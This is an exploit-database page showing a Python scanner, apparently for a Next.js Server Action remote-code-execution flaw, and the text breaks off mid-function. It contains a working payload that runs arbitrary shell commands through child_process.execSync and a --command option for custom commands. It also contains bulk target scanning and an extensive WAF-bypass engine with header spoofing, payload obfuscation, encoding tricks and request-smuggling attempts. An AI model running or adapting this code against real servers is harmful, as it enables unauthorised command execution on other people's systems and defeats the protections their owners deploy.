Exploit databaseDownload repository ZIP
GH-a6f39b5d8ef0e8224d07afb661ef0b12
vulnace/cve-2025-29927
Sources for CVE-2025-29927
158 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
vulnace/cve-2025-29927Revision 731059891af9
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
react2shell_scanner.py
Python · 121,689 bytes#!/usr/bin/env python3
"""
React2Shell / Next.js Server Action RCE Scanner
CVE-2025-29927 variant detection
Features:
- Reads targets from file (one domain per line)
- Tests React2Shell payload against Next.js Server Actions (3-part multipart)
- Detects WAF blocks (Akamai, Cloudflare, Imperva, F5, generic)
- WAF-aware validation with configurable request normalization/transport variations
- Distinguishes: VULNERABLE | VALIDATED | NOT_VULNERABLE | WAF_BLOCKED | ERROR | INVALID_URL
- Handles Next.js streaming responses (text/x-component format)
- Randomized request IDs to bypass caching
- Custom command execution for verification (--command)
- Multiple path testing (--paths)
- Rate limiting, timeouts, and safety controls
"""
import argparse
import sys
import time
import json
import ssl
import copy
import random
import unicodedata
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
from dataclasses import dataclass, asdict, field
from typing import List, Optional, Dict, Any, Callable
from urllib.parse import urlparse
import requests
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry
# ============================================================
# CONFIGURATION & SAFETY
# ============================================================
DEFAULT_TIMEOUT = 15
DEFAULT_CONNECT_TIMEOUT = 10
DEFAULT_MAX_WORKERS = 3
DEFAULT_DELAY = 1.0 # seconds between requests per worker
USER_AGENT = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:154.0) Gecko/20100101 Firefox/154.0"
# NON-DESTRUCTIVE 'id' command
DEFAULT_COMMAND = "id"
def build_payload_part_0(command: str = DEFAULT_COMMAND) -> dict:
"""Build the exploit payload with a custom command."""
return {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": f"var res=process.mainModule.require('child_process').execSync('{command}',{{'timeout':5000}}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
PAYLOAD_PART_1 = '"$@0"'
BOUNDARY = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
# WAF detection signatures
WAF_SIGNATURES = {
"akamai": ["akamai", "edgesuite.net", "reference #18.", "access denied"],
"cloudflare": ["cloudflare", "cf-ray", "__cf_bm", "attention required"],
"imperva": ["imperva", "incapsula", "x-cdn", "x-iinfo"],
"f5": ["f5", "bigip", "x-wa-info"],
"generic": ["web application firewall", "waf blocked", "blocked by security", "forbidden"]
}
# ============================================================
# DATA CLASSES
# ============================================================
@dataclass
class ValidationAttempt:
"""Record of a single WAF validation attempt."""
variation_name: str
variation_category: str
http_status: Optional[int]
waf_detected: Optional[str]
status: str # ACCEPTED, BLOCKED, ERROR
evidence: str
response_snippet: str
stage: int = 1
request_details: Dict[str, Any] = field(default_factory=dict)
def to_dict(self):
return asdict(self)
@dataclass
class ScanResult:
target: str
status: str # VULNERABLE, VALIDATED, NOT_VULNERABLE, WAF_BLOCKED, ERROR, INVALID_URL
http_status: Optional[int]
evidence: str
response_snippet: str
waf_detected: Optional[str] = None
timestamp: str = ""
validation_path: Optional[str] = None # e.g., "primary", "validation:no_waf_headers", etc.
validation_attempts: List[ValidationAttempt] = field(default_factory=list)
primary_blocked: bool = False
def to_dict(self):
return asdict(self)
# ============================================================
# WAF VALIDATION ENGINE
# ============================================================
class WAFValidationEngine:
"""
Generic WAF-aware validation engine with multi-stage bypass testing.
When a primary request is blocked by a WAF, this engine attempts
configurable request normalization, transport variations, payload
obfuscation, and benign probing to determine if the target is
actually vulnerable or if the WAF is simply blocking the exploit payload.
All variations are generic and vendor-agnostic.
"""
# Available categories for CLI/config selection
CATEGORIES = [
"header_normalization",
"header_manipulation",
"content_type",
"body_encoding",
"transport",
"request_structure",
"payload_obfuscation",
"payload_encoding",
"benign_probe",
"protocol_evasion",
]
def __init__(self, scanner_instance, enabled: bool = True, max_attempts: int = 5,
enabled_categories: Optional[List[str]] = None, config_file: Optional[str] = None,
stage_config: Optional[Dict[str, int]] = None):
self.scanner = scanner_instance
self.enabled = enabled
self.max_attempts = max_attempts
self.enabled_categories = set(enabled_categories) if enabled_categories else set(self.CATEGORIES)
self.config_file = config_file
self.custom_headers = {}
self.primary_response = None
self.primary_waf = None
# Stage configuration: how many attempts per stage
self.stage_config = stage_config or {
"stage1_header_transport": 8,
"stage2_payload_encoding": 6,
"stage3_benign_probe": 4,
"stage4_protocol_evasion": 4,
}
# Load config file if provided
if config_file:
self._load_config(config_file)
self.variations = self._build_variations()
self._filter_variations()
def _load_config(self, config_file: str):
"""Load WAF validation configuration from JSON file."""
try:
with open(config_file, 'r') as f:
config = json.load(f)
if "max_attempts" in config:
self.max_attempts = config["max_attempts"]
if "enabled_categories" in config:
self.enabled_categories = set(config["enabled_categories"])
if "custom_headers" in config:
self.custom_headers = config["custom_headers"]
if "stage_config" in config:
self.stage_config.update(config["stage_config"])
print(f"[*] Loaded WAF validation config from {config_file}")
print(f" Categories: {', '.join(sorted(self.enabled_categories))}")
print(f" Max attempts: {self.max_attempts}")
print(f" Stage config: {self.stage_config}")
except FileNotFoundError:
print(f"[!] Config file not found: {config_file}")
except json.JSONDecodeError as e:
print(f"[!] Invalid JSON in config file: {e}")
except Exception as e:
print(f"[!] Error loading config: {e}")
def _filter_variations(self):
"""Filter variations based on enabled categories."""
self.variations = [v for v in self.variations if v["category"] in self.enabled_categories]
def _build_variations(self) -> List[Dict[str, Any]]:
"""Build list of request variations organized by stage."""
variations = []
# ============================================================
# STAGE 1: Header & Transport Normalization (Fast, low impact)
# ============================================================
stage1 = [
# Header Normalization
{"name": "no_waf_headers", "category": "header_normalization", "stage": 1,
"description": "Remove Next.js-specific headers that may trigger WAF",
"modify_request": self._remove_waf_trigger_headers},
{"name": "minimal_headers", "category": "header_normalization", "stage": 1,
"description": "Use only essential headers (User-Agent, Content-Type, Next-Action)",
"modify_request": self._minimal_headers},
{"name": "generic_user_agent", "category": "header_normalization", "stage": 1,
"description": "Use generic browser User-Agent instead of specific Firefox version",
"modify_request": self._generic_user_agent},
{"name": "no_custom_headers", "category": "header_normalization", "stage": 1,
"description": "Remove X-Nextjs-Request-Id and X-Nextjs-Html-Request-Id",
"modify_request": self._no_custom_nextjs_headers},
{"name": "common_browser_headers", "category": "header_normalization", "stage": 1,
"description": "Add common browser headers (Accept, Accept-Language, etc.)",
"modify_request": self._common_browser_headers},
{"name": "no_accept_header", "category": "header_normalization", "stage": 1,
"description": "Remove Accept header (some WAFs trigger on missing Accept)",
"modify_request": self._no_accept_header},
# Header Manipulation / Origin Spoofing
{"name": "forwarded_for_spoof", "category": "header_manipulation", "stage": 1,
"description": "Add X-Forwarded-For with localhost (some WAFs trust internal IPs)",
"modify_request": self._forwarded_for_spoof},
{"name": "origin_header_spoof", "category": "header_manipulation", "stage": 1,
"description": "Add Origin header matching target (bypass origin checks)",
"modify_request": self._origin_header_spoof},
{"name": "referer_spoof", "category": "header_manipulation", "stage": 1,
"description": "Add Referer header from same origin",
"modify_request": self._referer_spoof},
{"name": "custom_ip_headers", "category": "header_manipulation", "stage": 1,
"description": "Add X-Real-IP, X-Client-IP, True-Client-IP with localhost",
"modify_request": self._custom_ip_headers},
{"name": "cdn_loop_header", "category": "header_manipulation", "stage": 1,
"description": "Add CDN-Loop header (some WAFs skip inspection for CDN traffic)",
"modify_request": self._cdn_loop_header},
# Content-Type Variations
{"name": "multipart_no_boundary_quotes", "category": "content_type", "stage": 1,
"description": "Content-Type without quoted boundary parameter",
"modify_request": self._content_type_no_boundary_quotes},
{"name": "multipart_standard_boundary", "category": "content_type", "stage": 1,
"description": "Use standard RFC-compliant boundary format",
"modify_request": self._standard_boundary_format},
{"name": "content_type_lowercase", "category": "content_type", "stage": 1,
"description": "Lowercase Content-Type header value",
"modify_request": self._content_type_lowercase},
{"name": "content_type_extra_spaces", "category": "content_type", "stage": 1,
"description": "Add extra spaces in Content-Type header",
"modify_request": self._content_type_extra_spaces},
# Transport Variations
{"name": "http1_0", "category": "transport", "stage": 1,
"description": "Force HTTP/1.0 via Connection: close header",
"modify_request": self._force_http10},
{"name": "chunked_transfer", "category": "transport", "stage": 1,
"description": "Use chunked transfer encoding instead of Content-Length",
"modify_request": self._chunked_transfer},
{"name": "no_content_length", "category": "transport", "stage": 1,
"description": "Remove Content-Length header entirely",
"modify_request": self._no_content_length},
{"name": "expect_100_continue", "category": "transport", "stage": 1,
"description": "Add Expect: 100-continue header",
"modify_request": self._expect_100_continue},
]
variations.extend(stage1)
# ============================================================
# STAGE 2: Payload Encoding & Obfuscation (Medium impact)
# ============================================================
stage2 = [
# Body Encoding Variations
{"name": "compact_json_part0", "category": "body_encoding", "stage": 2,
"description": "Use compact (non-pretty) JSON for Part 0",
"modify_request": self._compact_json_part0},
{"name": "no_part1_quotes", "category": "body_encoding", "stage": 2,
"description": "Send Part 1 without surrounding quotes",
"modify_request": self._no_part1_quotes},
{"name": "lf_line_endings", "category": "body_encoding", "stage": 2,
"description": "Use LF (\\n) instead of CRLF (\\r\\n) for multipart boundaries",
"modify_request": self._lf_line_endings},
{"name": "url_encoded_body", "category": "body_encoding", "stage": 2,
"description": "URL-encode the entire multipart body",
"modify_request": self._url_encoded_body},
{"name": "double_encoded_body", "category": "body_encoding", "stage": 2,
"description": "Double URL-encode the body (confirmed bypass: double decode chain)",
"modify_request": self._double_encoded_body},
{"name": "triple_encoded_body", "category": "body_encoding", "stage": 2,
"description": "Triple URL-encode the body (confirmed bypass: triple decode chain)",
"modify_request": self._triple_encoded_body},
{"name": "mixed_case_boundary", "category": "body_encoding", "stage": 2,
"description": "Use mixed case for boundary parameter",
"modify_request": self._mixed_case_boundary},
{"name": "extra_crlf_before_boundary", "category": "body_encoding", "stage": 2,
"description": "Add extra CRLF before first boundary",
"modify_request": self._extra_crlf_before_boundary},
{"name": "no_trailing_boundary_crlf", "category": "body_encoding", "stage": 2,
"description": "Remove trailing CRLF after closing boundary",
"modify_request": self._no_trailing_boundary_crlf},
# Request Structure Variations
{"name": "extra_empty_part", "category": "request_structure", "stage": 2,
"description": "Add an extra empty form-data part before the payload",
"modify_request": self._extra_empty_part},
{"name": "reordered_parts", "category": "request_structure", "stage": 2,
"description": "Reorder multipart parts (2, 0, 1 instead of 0, 1, 2)",
"modify_request": self._reordered_parts},
{"name": "duplicate_part_names", "category": "request_structure", "stage": 2,
"description": "Add duplicate part names (parameter pollution)",
"modify_request": self._duplicate_part_names},
{"name": "extra_part_after_payload", "category": "request_structure", "stage": 2,
"description": "Add extra part after the payload parts",
"modify_request": self._extra_part_after_payload},
{"name": "nested_multipart", "category": "request_structure", "stage": 2,
"description": "Wrap payload in nested multipart/mixed",
"modify_request": self._nested_multipart},
# Payload Obfuscation - CONFIRMED BYPASSES FROM WhatWaf
{"name": "unicode_normalization", "category": "payload_obfuscation", "stage": 2,
"description": "Apply Unicode normalization to JSON strings",
"modify_request": self._unicode_normalization},
{"name": "json_whitespace_variation", "category": "payload_obfuscation", "stage": 2,
"description": "Add random whitespace in JSON (tabs, newlines, multiple spaces)",
"modify_request": self._json_whitespace_variation},
{"name": "json_key_order_shuffle", "category": "payload_obfuscation", "stage": 2,
"description": "Shuffle JSON key order in Part 0",
"modify_request": self._json_key_order_shuffle},
{"name": "trailing_comma_json", "category": "payload_obfuscation", "stage": 2,
"description": "Add trailing commas in JSON objects",
"modify_request": self._trailing_comma_json},
# CONFIRMED BYPASS: Space-to-comment (/ ** /) - SQL comment style whitespace
{"name": "space_to_comment", "category": "payload_obfuscation", "stage": 2,
"description": "Replace spaces with /**/ comments in JSON strings (confirmed SQL bypass)",
"modify_request": self._space_to_comment},
# CONFIRMED BYPASS: Random whitespace chars (tab, LF, FF, CR, NULL)
{"name": "random_whitespace_chars", "category": "payload_obfuscation", "stage": 2,
"description": "Replace spaces with random ASCII whitespace chars %09,%0A,%0C,%0D,%00",
"modify_request": self._random_whitespace_chars},
# CONFIRMED BYPASS: Case variation in JSON keys/values
{"name": "random_case_json", "category": "payload_obfuscation", "stage": 2,
"description": "Randomize case of JSON keys and string values (confirmed case-sensitive WAF bypass)",
"modify_request": self._random_case_json},
# CONFIRMED BYPASS: HTML entity encoding in payload strings
{"name": "html_entity_encode", "category": "payload_obfuscation", "stage": 2,
"description": "Encode special chars as HTML entities (confirmed XSS context bypass)",
"modify_request": self._html_entity_encode},
# CONFIRMED BYPASS: ModSecurity version-specific comment bypass (/*!version*/)
{"name": "modsec_version_comment", "category": "payload_obfuscation", "stage": 2,
"description": "Wrap payload in MySQL version-specific comments /*!00000...*/ (confirmed ModSecurity bypass)",
"modify_request": self._modsec_version_comment},
# THEORETICAL BYPASS: HTML comment wrapping (obfuscatebyhtmlcomment.py)
{"name": "html_comment_wrap", "category": "payload_obfuscation", "stage": 2,
"description": "Wrap special chars in HTML comments <!--%--><script> (theoretical browser bypass)",
"modify_request": self._html_comment_wrap},
# THEORETICAL BYPASS: Random junk character insertion (randomjunkcharacters.py)
{"name": "random_junk_chars", "category": "payload_obfuscation", "stage": 2,
"description": "Insert random junk chars after <, >, space to break regex (theoretical)",
"modify_request": self._random_junk_chars},
# THEORETICAL BYPASS: Decoy tag dilution (randomdecoys.py)
{"name": "decoy_tags", "category": "payload_obfuscation", "stage": 2,
"description": "Add decoy tags to dilute XSS/SQL signatures (theoretical)",
"modify_request": self._decoy_tags},
# THEORETICAL BYPASS: Ordinal/decimal encoding (obfuscatebyordinal.py)
{"name": "ordinal_encoding", "category": "payload_encoding", "stage": 3,
"description": "Encode special chars as decimal ordinal %DECIMAL (theoretical non-standard parsing)",
"modify_request": self._ordinal_encoding},
# CONFIRMED BYPASS: URL encode all characters (urlencodeall.py)
{"name": "url_encode_all", "category": "payload_encoding", "stage": 3,
"description": "URL-encode ALL characters including alphanumeric (confirmed encoding bypass)",
"modify_request": self._url_encode_all},
# THEORETICAL BYPASS: Quote/apostrophe masking (apostrephemask.py)
{"name": "quote_masking", "category": "payload_obfuscation", "stage": 2,
"description": "Mask quotes with various encodings (theoretical SQL/XSS bypass)",
"modify_request": self._quote_masking},
# THEORETICAL BYPASS: Boolean obfuscation (booleanmask.py)
{"name": "boolean_obfuscation", "category": "payload_obfuscation", "stage": 2,
"description": "Obfuscate boolean logic with equivalent expressions (theoretical SQL bypass)",
"modify_request": self._boolean_obfuscation},
# THEORETICAL BYPASS: Random wildcard insertion (randomwildcard.py)
{"name": "random_wildcard", "category": "payload_obfuscation", "stage": 2,
"description": "Insert SQL wildcards % and _ in payload (theoretical SQL bypass)",
"modify_request": self._random_wildcard},
# THEORETICAL BYPASS: Unicode %uXXXX sequences (randomunicode.py)
{"name": "unicode_escape_sequences", "category": "payload_encoding", "stage": 3,
"description": "Insert %uXXXX Unicode escape sequences (theoretical Unicode normalization bypass)",
"modify_request": self._unicode_escape_sequences},
]
variations.extend(stage2)
# ==============================================================================
# STAGE 3: Payload Encoding Variations (High impact - modify actual payload)
# ==============================================================================
stage3 = [
# Advanced payload encoding
{"name": "base64_encoded_payload", "category": "payload_encoding", "stage": 3,
"description": "Base64 encode the entire JSON payload",
"modify_request": self._base64_encoded_payload},
{"name": "gzip_compressed_body", "category": "payload_encoding", "stage": 3,
"description": "Gzip compress the multipart body with Content-Encoding: gzip",
"modify_request": self._gzip_compressed_body},
{"name": "chunked_multipart", "category": "payload_encoding", "stage": 3,
"description": "Send multipart in small chunks with delays",
"modify_request": self._chunked_multipart},
{"name": "parameter_pollution_proto", "category": "payload_encoding", "stage": 3,
"description": "Add __proto__ pollution via duplicate parameters",
"modify_request": self._parameter_pollution_proto},
{"name": "json_unicode_escape", "category": "payload_encoding", "stage": 3,
"description": "Escape all non-ASCII chars in JSON as \\uXXXX",
"modify_request": self._json_unicode_escape},
{"name": "null_byte_injection", "category": "payload_encoding", "stage": 3,
"description": "Inject null bytes in payload strings (append)",
"modify_request": self._null_byte_injection},
{"name": "prepend_null_byte", "category": "payload_encoding", "stage": 3,
"description": "Prepend null byte to Part 0 payload (confirmed bypass: C-string truncation)",
"modify_request": self._prepend_null_byte},
{"name": "space_to_null_byte", "category": "payload_encoding", "stage": 3,
"description": "Replace spaces with null bytes in payload (confirmed bypass: C-string handling)",
"modify_request": self._space_to_null_byte},
{"name": "space_to_plus", "category": "payload_encoding", "stage": 3,
"description": "Replace spaces with plus signs (form body parsing: +=space)",
"modify_request": self._space_to_plus},
]
variations.extend(stage3)
# ==================================================================================
# STAGE 4: Benign Probing & Protocol Evasion (Determine if WAF is the only blocker)
# ==================================================================================
stage4 = [
# Benign probes - test if WAF blocks legitimate traffic
{"name": "benign_get_root", "category": "benign_probe", "stage": 4,
"description": "Simple GET / request to check if WAF blocks all traffic",
"modify_request": self._benign_get_root},
{"name": "benign_post_empty", "category": "benign_probe", "stage": 4,
"description": "Empty POST to same endpoint to test WAF baseline",
"modify_request": self._benign_post_empty},
{"name": "benign_multipart_normal", "category": "benign_probe", "stage": 4,
"description": "Normal multipart upload (no exploit) to test parser",
"modify_request": self._benign_multipart_normal},
{"name": "benign_next_action_normal", "category": "benign_probe", "stage": 4,
"description": "Valid Next-Action request to test if Server Actions work",
"modify_request": self._benign_next_action_normal},
# Protocol Evasion
{"name": "http2_prior_knowledge", "category": "protocol_evasion", "stage": 4,
"description": "Attempt HTTP/2 prior knowledge (if supported)",
"modify_request": self._http2_prior_knowledge},
{"name": "http_pipelining", "category": "protocol_evasion", "stage": 4,
"description": "HTTP pipelining with benign + exploit request",
"modify_request": self._http_pipelining},
{"name": "te_cl_smuggling", "category": "protocol_evasion", "stage": 4,
"description": "TE.CL request smuggling attempt",
"modify_request": self._te_cl_smuggling},
{"name": "cl_te_smuggling", "category": "protocol_evasion", "stage": 4,
"description": "CL.TE request smuggling attempt",
"modify_request": self._cl_te_smuggling},
]
variations.extend(stage4)
return variations
# ============================================================
# VARIATION IMPLEMENTATIONS
# ============================================================
def _remove_waf_trigger_headers(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Remove headers commonly triggering WAF rules."""
h = copy.deepcopy(headers)
allowed = {"User-Agent", "Content-Type", "Next-Action"}
for key in list(h.keys()):
if key not in allowed:
del h[key]
return h, body
def _minimal_headers(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Use only absolute minimum headers."""
return {
"User-Agent": headers.get("User-Agent", USER_AGENT),
"Content-Type": headers.get("Content-Type", f"multipart/form-data; boundary={BOUNDARY}"),
"Next-Action": "x",
}, body
def _generic_user_agent(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Use a generic, common User-Agent."""
h = copy.deepcopy(headers)
h["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
return h, body
def _no_custom_nextjs_headers(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Remove X-Nextjs-* custom headers."""
h = copy.deepcopy(headers)
for key in list(h.keys()):
if key.lower().startswith("x-nextjs-"):
del h[key]
return h, body
def _content_type_no_boundary_quotes(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Content-Type without quoted boundary."""
h = copy.deepcopy(headers)
h["Content-Type"] = f"multipart/form-data; boundary={BOUNDARY}"
return h, body
def _standard_boundary_format(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Use a standard RFC-compliant boundary."""
h = copy.deepcopy(headers)
std_boundary = "----WebKitFormBoundary" + "A" * 16
h["Content-Type"] = f'multipart/form-data; boundary="{std_boundary}"'
new_body = self._rebuild_body_with_boundary(body, std_boundary)
return h, new_body
def _compact_json_part0(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Rebuild body with compact JSON for Part 0."""
h = copy.deepcopy(headers)
new_body = self._rebuild_body_compact_json(body)
return h, new_body
def _no_part1_quotes(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Rebuild body with Part 1 unquoted."""
h = copy.deepcopy(headers)
new_body = self._rebuild_body_no_part1_quotes(body)
return h, new_body
def _lf_line_endings(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Convert CRLF to LF in multipart body."""
h = copy.deepcopy(headers)
new_body = body.replace(b"\r\n", b"\n")
return h, new_body
def _force_http10(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Signal HTTP/1.0 via Connection header."""
h = copy.deepcopy(headers)
h["Connection"] = "close"
return h, body
def _chunked_transfer(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Remove Content-Length to encourage chunked transfer."""
h = copy.deepcopy(headers)
h.pop("Content-Length", None)
h["Transfer-Encoding"] = "chunked"
return h, body
def _extra_empty_part(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Add an extra empty form-data part at the beginning."""
h = copy.deepcopy(headers)
new_body = self._rebuild_body_extra_part(body)
return h, new_body
def _reordered_parts(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Reorder multipart parts."""
h = copy.deepcopy(headers)
new_body = self._rebuild_body_reordered(body)
return h, new_body
# --- Header Normalization ---
def _common_browser_headers(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Add common browser headers."""
h = copy.deepcopy(headers)
h.setdefault("Accept", "*/*")
h.setdefault("Accept-Language", "en-US,en;q=0.9")
h.setdefault("Accept-Encoding", "gzip, deflate")
h.setdefault("Connection", "keep-alive")
h.setdefault("Cache-Control", "no-cache")
h.setdefault("Pragma", "no-cache")
return h, body
def _no_accept_header(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Remove Accept header."""
h = copy.deepcopy(headers)
h.pop("Accept", None)
return h, body
# --- Header Manipulation / Smuggling ---
def _forwarded_for_spoof(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Add X-Forwarded-For with localhost."""
h = copy.deepcopy(headers)
h["X-Forwarded-For"] = "127.0.0.1"
h["X-Forwarded-Host"] = "localhost"
return h, body
def _origin_header_spoof(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Add Origin header matching target."""
h = copy.deepcopy(headers)
# Extract target host from the target URL if available
h["Origin"] = "https://localhost"
return h, body
def _referer_spoof(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Add Referer header from same origin."""
h = copy.deepcopy(headers)
h["Referer"] = "https://localhost/"
return h, body
def _custom_ip_headers(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Add various client IP headers with localhost."""
h = copy.deepcopy(headers)
localhost_ips = ["127.0.0.1", "::1", "10.0.0.1", "192.168.1.1"]
for ip_header in ["X-Real-IP", "X-Client-IP", "True-Client-IP", "X-Cluster-Client-IP",
"Forwarded", "X-Forwarded", "X-Forwarded-By"]:
h[ip_header] = localhost_ips[0]
h["Forwarded"] = "for=127.0.0.1;proto=https"
return h, body
def _cdn_loop_header(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Add CDN-Loop header."""
h = copy.deepcopy(headers)
h["CDN-Loop"] = "cloudflare; loops=1"
return h, body
# --- Content-Type Variations ---
def _content_type_lowercase(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Lowercase Content-Type header value."""
h = copy.deepcopy(headers)
ct = h.get("Content-Type", "")
h["Content-Type"] = ct.lower()
return h, body
def _content_type_extra_spaces(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Add extra spaces in Content-Type header."""
h = copy.deepcopy(headers)
ct = h.get("Content-Type", "")
ct = ct.replace(";", " ; ")
ct = ct.replace("=", " = ")
import re
ct = re.sub(r'\s+', ' ', ct).strip()
h["Content-Type"] = ct
return h, body
# --- Body Encoding Variations ---
def _url_encoded_body(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""URL-encode the entire multipart body."""
h = copy.deepcopy(headers)
import urllib.parse
new_body = urllib.parse.quote(body).encode('ascii')
h["Content-Type"] = "application/x-www-form-urlencoded"
h["Content-Length"] = str(len(new_body))
return h, new_body
def _double_encoded_body(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Double URL-encode the body."""
h = copy.deepcopy(headers)
import urllib.parse
once = urllib.parse.quote(body)
twice = urllib.parse.quote(once)
new_body = twice.encode('ascii')
h["Content-Type"] = "application/x-www-form-urlencoded"
h["Content-Length"] = str(len(new_body))
return h, new_body
def _mixed_case_boundary(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Use mixed case for boundary parameter."""
h = copy.deepcopy(headers)
ct = h.get("Content-Type", "")
import re
def mix_case(match):
return match.group(1) + ''.join(c.upper() if i % 2 == 0 else c.lower()
for i, c in enumerate(match.group(2)))
new_ct = re.sub(r'(boundary\s*=\s*)"?([^";\s]+)"?', mix_case, ct, flags=re.IGNORECASE)
h["Content-Type"] = new_ct
return h, body
def _extra_crlf_before_boundary(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Add extra CRLF before first boundary."""
h = copy.deepcopy(headers)
new_body = b"\r\n" + body
return h, new_body
def _no_trailing_boundary_crlf(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Remove trailing CRLF after closing boundary."""
h = copy.deepcopy(headers)
new_body = body.rstrip(b"\r\n")
return h, new_body
# --- Transport Variations ---
def _no_content_length(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Remove Content-Length header entirely."""
h = copy.deepcopy(headers)
h.pop("Content-Length", None)
return h, body
def _expect_100_continue(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Add Expect: 100-continue header."""
h = copy.deepcopy(headers)
h["Expect"] = "100-continue"
return h, body
# --- Request Structure Variations ---
def _duplicate_part_names(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Add duplicate part names (parameter pollution)."""
h = copy.deepcopy(headers)
new_body = self._rebuild_body_duplicate_parts(body)
return h, new_body
def _extra_part_after_payload(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Add extra part after the payload parts."""
h = copy.deepcopy(headers)
new_body = self._rebuild_body_extra_part_after(body)
return h, new_body
def _nested_multipart(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Wrap payload in nested multipart/mixed."""
h = copy.deepcopy(headers)
nested_boundary = "----NestedBoundary" + "B" * 16
h["Content-Type"] = f'multipart/mixed; boundary="{nested_boundary}"'
lines = [
f"--{nested_boundary}",
'Content-Disposition: form-data; name="payload"',
'Content-Type: multipart/form-data; boundary=' + BOUNDARY,
"",
body.decode('utf-8'),
f"--{nested_boundary}--",
""
]
new_body = "\r\n".join(lines).encode('utf-8')
return h, new_body
# --- Payload Obfuscation ---
def _unicode_normalization(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Apply Unicode normalization to JSON strings."""
h = copy.deepcopy(headers)
import unicodedata
new_body = self._rebuild_body_unicode_normalized(body, unicodedata.normalize)
return h, new_body
def _json_whitespace_variation(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Add random whitespace in JSON."""
h = copy.deepcopy(headers)
new_body = self._rebuild_body_json_whitespace(body)
return h, new_body
def _json_key_order_shuffle(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Shuffle JSON key order in Part 0."""
h = copy.deepcopy(headers)
new_body = self._rebuild_body_shuffle_keys(body)
return h, new_body
def _trailing_comma_json(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Add trailing commas in JSON objects."""
h = copy.deepcopy(headers)
new_body = self._rebuild_body_trailing_commas(body)
return h, new_body
# ============================================================
# STAGE 3: PAYLOAD ENCODING VARIATIONS (NEW)
# ============================================================
def _base64_encoded_payload(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Base64 encode the entire multipart body."""
h = copy.deepcopy(headers)
import base64
new_body = base64.b64encode(body)
h["Content-Type"] = "application/octet-stream"
h["Content-Transfer-Encoding"] = "base64"
h["Content-Length"] = str(len(new_body))
return h, new_body
def _gzip_compressed_body(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Gzip compress the multipart body."""
h = copy.deepcopy(headers)
import gzip
import io
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode='wb') as f:
f.write(body)
new_body = buf.getvalue()
h["Content-Encoding"] = "gzip"
h["Content-Length"] = str(len(new_body))
return h, new_body
def _chunked_multipart(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Send multipart in chunks - simulate slowloris-style chunking."""
h = copy.deepcopy(headers)
h.pop("Content-Length", None)
h["Transfer-Encoding"] = "chunked"
# The body stays the same but will be sent chunked by requests
return h, body
def _parameter_pollution_proto(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Add __proto__ pollution via duplicate parameters in Part 0."""
h = copy.deepcopy(headers)
new_body = self._rebuild_body_proto_pollution(body)
return h, new_body
def _json_unicode_escape(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Escape all non-ASCII chars in JSON as \\uXXXX."""
h = copy.deepcopy(headers)
new_body = self._rebuild_body_unicode_escape(body)
return h, new_body
def _null_byte_injection(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Inject null bytes in payload strings."""
h = copy.deepcopy(headers)
new_body = self._rebuild_body_null_bytes(body)
return h, new_body
# ============================================================
# STAGE 4: BENIGN PROBING (NEW)
# ============================================================
def _benign_get_root(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Simple GET / request to check if WAF blocks all traffic."""
h = {
"User-Agent": headers.get("User-Agent", USER_AGENT),
"Accept": "*/*",
}
return h, b""
def _benign_post_empty(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Empty POST to same endpoint to test WAF baseline."""
h = {
"User-Agent": headers.get("User-Agent", USER_AGENT),
"Content-Type": "application/x-www-form-urlencoded",
